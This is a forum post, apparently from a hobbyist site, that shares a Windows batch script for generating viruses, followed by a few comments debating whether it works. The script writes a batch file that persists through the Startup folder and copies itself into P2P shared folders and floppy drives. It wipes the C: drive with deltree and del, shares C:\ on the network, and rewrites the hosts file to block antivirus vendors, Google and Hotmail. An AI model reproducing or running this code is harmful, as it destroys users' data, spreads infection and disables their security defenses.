Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it is
AND the Final Batch File End up In c:\
well you can delete windows
do netshares
copy to startup folder a:\ c:\windows and like p2p
Stop From going to Site Using Lmhosts
(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /c

Here are the codes :

:startage
echo off
echo ..................
echo : Virus Gen 2.o :
echo : By: Vinylshakers :
echo :................:
echo
echo · Startup
echo · Copy To Windows
echo · Delete HARDRIVE
echo enter name of virus Below
set /p filename=%filename%
cls
Echo Add To Startup? Yes or No Note:Use all LowerCase
set /p answer=%answer%
IF "%answer%"=="yes" goto start
goto copy
IF not "%answer%"=="yes" goto copy
goto copy
:copy
Echo Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NO
set /p answer2=%answer2%
IF "%answer2%"=="yes" GOTO START2
:DEL
echo Delete Windows?
set /p answer3=%answer3%
IF "%answer3%"=="yes" GOTO START3

echo Share c:\
set /p answer4=%answer4%
IF "%answer4%"=="yes" GOTO START4

:lmhost
echo Stop From Going To Anti-Virus Websites?
set /p answer5=%answer5%
IF "%answer5%"=="yes" GOTO ass
IF "%answer5%"=="no" exit

:start
echo COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.bat
goto copy
:start
:START2
echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.bat
echo copy c:\windows\%filename%.BAT>>c:\%filename%.bat
ECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BAT
GOTO DEL
:start2

:start3
echo deltree /y c:\>>c:\%FILENAME%.BAT
echo del c:\ /y /s>>c:\%FILENAME%.BAT
:start3
:start 4
echo net share c:\=haxor>>c:\%filename%.bat
goto lmhost
:start 4
:ass
echo cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
exit
:ass
pause

Plz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

sort by: active | newest | oldest
well this doesn't do anything because obviously, echo has no replicating features
you may have made the replicator, but where is the damage?
because that little >> exports whatever would show up on the scrren because of that command and puts it in the file specified so if you write "echo fun" what will show up on your screen will be "fun" and the arrow directs the out put to a text file if you wanna see the >> in action go to this batch i made. https://www.instructables.com/forum/Cool-Batch-applet/
which means OBVIOUSLY your wrong and should study up on your coding before you criticize others.
zachninme9 years ago
Lovely, but surely even batch has while/if statements? Its sad if it doesn't... goto is so sad...
Clever way of "reproducing", but you'll still need something to trigger it.